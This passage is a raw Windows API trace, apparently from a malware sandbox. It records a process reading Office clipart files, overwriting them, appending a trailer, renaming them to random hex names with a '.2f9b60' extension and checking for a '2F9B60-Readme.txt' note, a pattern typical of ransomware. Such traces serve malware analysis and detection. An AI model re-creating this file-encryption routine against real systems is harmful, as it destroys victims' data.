Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x358d775c [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x736cd942 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x5a8f5484 [0123.676] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x757ddc24 [0123.677] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x757ddc24 [0123.677] RtlRandomEx (in: Seed=0x1e15fbf0 | out: Seed=0x1e15fbf0) returned 0x22ad170b [0123.684] ReadFile (in: hFile=0x1828, lpBuffer=0x41c53cc0, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x1e15fbf0, lpOverlapped=0x0 | out: lpBuffer=0x41c53cc0*, lpNumberOfBytesRead=0x1e15fbf0*=0x370, lpOverlapped=0x0) returned 1 [0123.684] SetFilePointerEx (in: hFile=0x1828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.684] WriteFile (in: hFile=0x1828, lpBuffer=0x4201f0f0*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x1e15fbf4, lpOverlapped=0x0 | out: lpBuffer=0x4201f0f0*, lpNumberOfBytesWritten=0x1e15fbf4*=0x370, lpOverlapped=0x0) returned 1 [0160.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a60 [0160.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1a90 [0160.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a90) returned 1 [0160.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4201f0f0) returned 1 [0160.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c53cc0) returned 1 [0160.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505410) returned 1 [0160.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059b00) returned 1 [0160.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1a90 [0160.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059b00 [0160.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505410 [0160.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ac0 [0160.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ac0) returned 1 [0160.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1ac0 [0160.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1af0 [0160.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b20 [0160.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b20) returned 1 [0160.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505410) returned 1 [0160.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059b00) returned 1 [0160.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x116640 [0160.787] SetFilePointerEx (in: hFile=0x1828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.787] WriteFile (in: hFile=0x1828, lpBuffer=0x116640*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e15fd10, lpOverlapped=0x0 | out: lpBuffer=0x116640*, lpNumberOfBytesWritten=0x1e15fd10*=0x10a, lpOverlapped=0x0) returned 1 [0165.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff100 [0165.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff100) returned 1 [0165.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff100 [0165.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff0d0 [0165.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff0d0) returned 1 [0165.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.400] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="72") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="db") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="0a") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="31") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="49") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="65") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="c7") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="fe") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="78") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="83") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="78") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="95") returned 2 [0165.400] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="c0") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="e4") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="6d") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="01") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="b8") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="12") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="f6") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="4d") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="93") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="56") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="b8") returned 2 [0165.401] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="b0") returned 2 [0165.401] RtlInitAnsiString (in: DestinationString=0x1e15fd88, SourceString="72db0a314965c7fe78837895c0e46d01b812f64d9356b8b0" | out: DestinationString="72db0a314965c7fe78837895c0e46d01b812f64d9356b8b0") [0165.401] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e15fd58, SourceString="72db0a314965c7fe78837895c0e46d01b812f64d9356b8b0", AllocateDestinationString=1 | out: DestinationString="72db0a314965c7fe78837895c0e46d01b812f64d9356b8b0") returned 0x0 [0165.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e6b0 [0165.402] RtlFreeAnsiString (AnsiString="7") [0165.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff100) returned 1 [0165.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x116640) returned 1 [0165.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ac0) returned 1 [0165.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1af0) returned 1 [0165.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a90) returned 1 [0165.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1a60) returned 1 [0165.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f160) returned 1 [0165.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ef80) returned 1 [0165.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050efb0) returned 1 [0165.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c306d0 [0165.405] wcscat (in: _Dest=0x42c306d0, _Source="72db0a314965" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\72db0a314965") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\72db0a314965" [0165.405] wcscat (in: _Dest=0x42c306d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\72db0a314965.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\72db0a314965.2f9b60" [0165.405] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\72db0a314965.2f9b60", NtPathName=0x1e15fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\72db0a314965.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22920 [0165.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22920) returned 1 [0165.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32db0) returned 1 [0165.408] NtQueryInformationFile (in: FileHandle=0x1828, IoStatusBlock=0x1e15fd98, FileInformation=0x1e15fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e15fd98, FileInformation=0x1e15fda8) returned 0x0 [0165.409] NtSetInformationFile (FileHandle=0x1828, IoStatusBlock=0x1e15fd98, FileInformation=0x1e15fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0166.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c306d0) returned 1 [0166.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e6b0) returned 1 [0166.360] FlushFileBuffers (hFile=0x1828) returned 1 [0187.642] CloseHandle (hObject=0x1828) returned 1 [0199.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507d70 [0199.621] wcscpy (in: _Dest=0x20507d70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0199.621] wcscat (in: _Dest=0x20507d70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0199.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0199.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507d70) returned 1 [0199.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205099f0) returned 1 Thread: id = 1488 os_tid = 0x1994 [0120.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0122.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF", dwFileAttributes=0x20) returned 1 [0122.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10c8 [0123.495] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x1e0df740 | out: lpFileSize=0x1e0df740*=10146) returned 1 [0123.495] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x279e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.495] ReadFile (in: hFile=0x10c8, lpBuffer=0x1e0df6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e0df708, lpOverlapped=0x0 | out: lpBuffer=0x1e0df6c0*, lpNumberOfBytesRead=0x1e0df708*=0x4, lpOverlapped=0x0) returned 1 [0123.774] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec20 [0123.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb90 [0123.775] NtQuerySystemTime (in: CurrentTime=0x1e0df600 | out: CurrentTime=0x1e0df600*=132462177291598000) returned 0x0 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x187f9c88 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x45e06dce [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x1fd4bcbd [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x6360ff6 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x3ddd3120 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x70975c95 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x1e86271c [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x5dc2b1d [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x70975c95 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x36deba32 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x5954f31f [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x2577168a [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x6dea0e6b [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x4a30db65 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x5a913fc7 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x26728b7b [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x49620585 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x7e965968 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x39beb3bb [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0xac7c8d3 [0123.775] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x4f34fd42 [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x6cb4b04a [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x6788340 [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x45e06dce [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x328317bc [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x328317bc [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x2267d5b6 [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x641ac1 [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x65ccf5e5 [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x5dbd618c [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x4677d6dd [0123.776] RtlRandomEx (in: Seed=0x1e0df5f0 | out: Seed=0x1e0df5f0) returned 0x71e3abce [0124.498] ReadFile (in: hFile=0x10c8, lpBuffer=0x41d35950, nNumberOfBytesToRead=0x27a2, lpNumberOfBytesRead=0x1e0df5f0, lpOverlapped=0x0 | out: lpBuffer=0x41d35950*, lpNumberOfBytesRead=0x1e0df5f0*=0x27a2, lpOverlapped=0x0) returned 1 [0124.884] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.884] WriteFile (in: hFile=0x10c8, lpBuffer=0x20486ac0*, nNumberOfBytesToWrite=0x27a2, lpNumberOfBytesWritten=0x1e0df5f4, lpOverlapped=0x0 | out: lpBuffer=0x20486ac0*, lpNumberOfBytesWritten=0x1e0df5f4*=0x27a2, lpOverlapped=0x0) returned 1 [0161.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3a40 [0161.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3a70 [0161.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3a70) returned 1 [0161.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20486ac0) returned 1 [0161.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d35950) returned 1 [0161.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0161.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059e20) returned 1 [0161.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3a70 [0161.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059e20 [0161.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866340 [0161.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3aa0 [0161.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3aa0) returned 1 [0161.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3aa0 [0161.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3ad0 [0161.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b00 [0161.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b00) returned 1 [0166.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866340) returned 1 [0166.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059e20) returned 1 [0166.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13790 [0166.055] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.055] WriteFile (in: hFile=0x10c8, lpBuffer=0x1ce13790*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e0df710, lpOverlapped=0x0 | out: lpBuffer=0x1ce13790*, lpNumberOfBytesWritten=0x1e0df710*=0x10a, lpOverlapped=0x0) returned 1 [0200.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd80 [0200.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dd80) returned 1 [0200.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dd80 [0200.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050efe0 [0200.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050efe0) returned 1 [0200.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8040 [0200.171] sprintf (in: _Dest=0x1b7d8040, _Format="%c%c" | out: _Dest="e2") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8042, _Format="%c%c" | out: _Dest="46") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8044, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8046, _Format="%c%c" | out: _Dest="dc") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8048, _Format="%c%c" | out: _Dest="eb") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d804a, _Format="%c%c" | out: _Dest="70") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d804c, _Format="%c%c" | out: _Dest="77") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d804e, _Format="%c%c" | out: _Dest="c7") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8050, _Format="%c%c" | out: _Dest="c7") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8052, _Format="%c%c" | out: _Dest="22") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8054, _Format="%c%c" | out: _Dest="77") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8056, _Format="%c%c" | out: _Dest="50") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8058, _Format="%c%c" | out: _Dest="41") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d805a, _Format="%c%c" | out: _Dest="d3") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d805c, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d805e, _Format="%c%c" | out: _Dest="15") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8060, _Format="%c%c" | out: _Dest="ce") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8062, _Format="%c%c" | out: _Dest="a2") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8064, _Format="%c%c" | out: _Dest="00") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8066, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d8068, _Format="%c%c" | out: _Dest="80") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d806a, _Format="%c%c" | out: _Dest="31") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d806c, _Format="%c%c" | out: _Dest="83") returned 2 [0200.171] sprintf (in: _Dest=0x1b7d806e, _Format="%c%c" | out: _Dest="8e") returned 2 [0200.172] RtlInitAnsiString (in: DestinationString=0x1e0df788, SourceString="e246f4dceb7077c7c722775041d3aa15cea2001c8031838e" | out: DestinationString="e246f4dceb7077c7c722775041d3aa15cea2001c8031838e") [0200.172] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e0df758, SourceString="e246f4dceb7077c7c722775041d3aa15cea2001c8031838e", AllocateDestinationString=1 | out: DestinationString="e246f4dceb7077c7c722775041d3aa15cea2001c8031838e") returned 0x0 [0200.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a04e0 [0200.172] wcscat (in: _Dest=0x431e3d00, _Source="e246f4dceb70" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e246f4dceb70") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e246f4dceb70" [0200.173] wcscat (in: _Dest=0x431e3d00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e246f4dceb70.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e246f4dceb70.2f9b60" [0200.173] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e246f4dceb70.2f9b60", NtPathName=0x1e0df730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e246f4dceb70.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ed3e0 Thread: id = 1489 os_tid = 0x1998 [0120.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0122.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF", dwFileAttributes=0x20) returned 1 [0122.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1840 [0123.484] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x1da4fc00 | out: lpFileSize=0x1da4fc00*=1464) returned 1 [0123.484] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x5b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.484] ReadFile (in: hFile=0x1840, lpBuffer=0x1da4fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1da4fbc8, lpOverlapped=0x0 | out: lpBuffer=0x1da4fb80*, lpNumberOfBytesRead=0x1da4fbc8*=0x4, lpOverlapped=0x0) returned 1 [0123.648] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2b0 [0123.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df30 [0123.648] NtQuerySystemTime (in: CurrentTime=0x1da4fac0 | out: 